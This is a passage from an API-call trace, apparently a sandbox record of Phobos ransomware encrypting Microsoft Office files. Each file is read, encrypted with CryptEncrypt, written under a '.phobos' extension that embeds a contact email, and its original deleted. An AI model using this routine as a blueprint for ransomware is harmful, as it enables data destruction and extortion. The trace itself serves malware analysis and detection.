office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0054.759] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc550) returned 1 [0054.759] CryptSetKeyParam (hKey=0x10dc550, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0054.759] ReadFile (in: hFile=0x31c, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x4ed, lpOverlapped=0x0) returned 1 [0054.767] CryptEncrypt (in: hKey=0x10dc550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x4f0) returned 1 [0054.767] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x4f0, lpOverlapped=0x0) returned 1 [0054.768] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc950) returned 1 [0054.768] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0054.768] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90, dwBufLen=0x90 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90) returned 1 [0054.768] CryptDestroyKey (hKey=0x10dc950) returned 1 [0054.768] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x142, lpOverlapped=0x0) returned 1 [0054.768] CryptDestroyKey (hKey=0x10dc550) returned 1 [0054.768] CloseHandle (hObject=0x31c) returned 1 [0054.768] CloseHandle (hObject=0x310) returned 1 [0054.769] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml")) returned 1 [0054.769] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0054.770] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0054.770] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=1261) returned 1 [0054.770] CloseHandle (hObject=0x310) returned 1 [0054.770] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml")) returned 0x220 [0054.770] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0054.770] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0054.770] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0054.770] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0054.770] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.770] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc690) returned 1 [0054.770] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0054.770] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x4ed, lpOverlapped=0x0) returned 1 [0054.772] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x4f0) returned 1 [0054.772] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x4f0, lpOverlapped=0x0) returned 1 [0054.773] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc9d0) returned 1 [0054.773] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0054.773] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90, dwBufLen=0x90 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90) returned 1 [0054.773] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0054.773] WriteFile (in: hFile=0x31c, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x142, lpOverlapped=0x0) returned 1 [0054.773] CryptDestroyKey (hKey=0x10dc690) returned 1 [0054.773] CloseHandle (hObject=0x310) returned 1 [0054.774] CloseHandle (hObject=0x31c) returned 1 [0054.774] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml")) returned 1 [0054.775] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0054.775] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.776] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=527958) returned 1 [0054.776] CloseHandle (hObject=0x31c) returned 1 [0054.776] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml")) returned 0x220 [0054.776] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0054.776] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0054.776] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0054.776] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0054.776] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0054.776] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc610) returned 1 [0054.776] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0054.776] ReadFile (in: hFile=0x31c, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x80e56, lpOverlapped=0x0) returned 1 [0054.795] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x80e60, dwBufLen=0x80e60 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x80e60) returned 1 [0054.796] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x80e60, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x80e60, lpOverlapped=0x0) returned 1 [0054.805] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc950) returned 1 [0054.806] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0054.806] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90, dwBufLen=0x90 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x90) returned 1 [0054.806] CryptDestroyKey (hKey=0x10dc950) returned 1 [0054.806] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x142, lpOverlapped=0x0) returned 1 [0054.806] CryptDestroyKey (hKey=0x10dc610) returned 1 [0054.806] CloseHandle (hObject=0x31c) returned 1 [0054.806] CloseHandle (hObject=0x310) returned 1 [0055.809] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012a-0000-1000-0000000ff1ce.xml")) returned 1 [0055.809] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0055.809] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0055.810] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=9831) returned 1 [0055.810] CloseHandle (hObject=0x310) returned 1 [0055.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml")) returned 0x220 [0055.810] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0055.810] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0055.810] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0055.810] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0055.810] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0055.810] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc610) returned 1 [0055.810] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0055.810] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x2667, lpOverlapped=0x0) returned 1 [0055.854] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x2670, dwBufLen=0x2670 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x2670) returned 1 [0055.854] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x2670, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x2670, lpOverlapped=0x0) returned 1 [0055.855] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc9d0) returned 1 [0055.855] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0055.855] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x60, dwBufLen=0x60 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x60) returned 1 [0055.855] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0055.855] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x112, lpOverlapped=0x0) returned 1 [0055.855] CryptDestroyKey (hKey=0x10dc610) returned 1 [0055.855] CloseHandle (hObject=0x310) returned 1 [0055.855] CloseHandle (hObject=0x2fc) returned 1 [0055.856] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml")) returned 1 [0055.857] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0055.857] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0055.857] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=373) returned 1 [0055.857] CloseHandle (hObject=0x2fc) returned 1 [0055.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml")) returned 0x220 [0055.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0055.858] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0055.858] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0055.858] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0055.858] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0055.858] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc8d0) returned 1 [0055.858] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0055.858] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x175, lpOverlapped=0x0) returned 1 [0055.859] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x180, dwBufLen=0x180 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x180) returned 1 [0055.859] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x180, lpOverlapped=0x0) returned 1 [0055.860] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc910) returned 1 [0055.860] CryptSetKeyParam (hKey=0x10dc910, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0055.860] CryptEncrypt (in: hKey=0x10dc910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50, dwBufLen=0x50 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x50) returned 1 [0055.860] CryptDestroyKey (hKey=0x10dc910) returned 1 [0055.860] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x102, lpOverlapped=0x0) returned 1 [0055.861] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0055.861] CloseHandle (hObject=0x2fc) returned 1 [0055.861] CloseHandle (hObject=0x310) returned 1 [0055.861] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml")) returned 1 [0055.862] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0055.862] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0055.863] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=9024) returned 1 [0055.864] CloseHandle (hObject=0x310) returned 1 [0055.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif")) returned 0x220 [0055.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0055.864] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0055.864] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0055.864] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0055.864] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0055.864] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc690) returned 1 [0055.864] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0055.864] ReadFile (in: hFile=0x310, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x2340, lpOverlapped=0x0) returned 1 [0056.119] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x2350, dwBufLen=0x2350 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x2350) returned 1 [0056.119] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x2350, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x2350, lpOverlapped=0x0) returned 1 [0056.120] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc610) returned 1 [0056.120] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0056.120] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0056.120] CryptDestroyKey (hKey=0x10dc610) returned 1 [0056.120] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0056.120] CryptDestroyKey (hKey=0x10dc690) returned 1 [0056.120] CloseHandle (hObject=0x310) returned 1 [0056.120] CloseHandle (hObject=0x2fc) returned 1 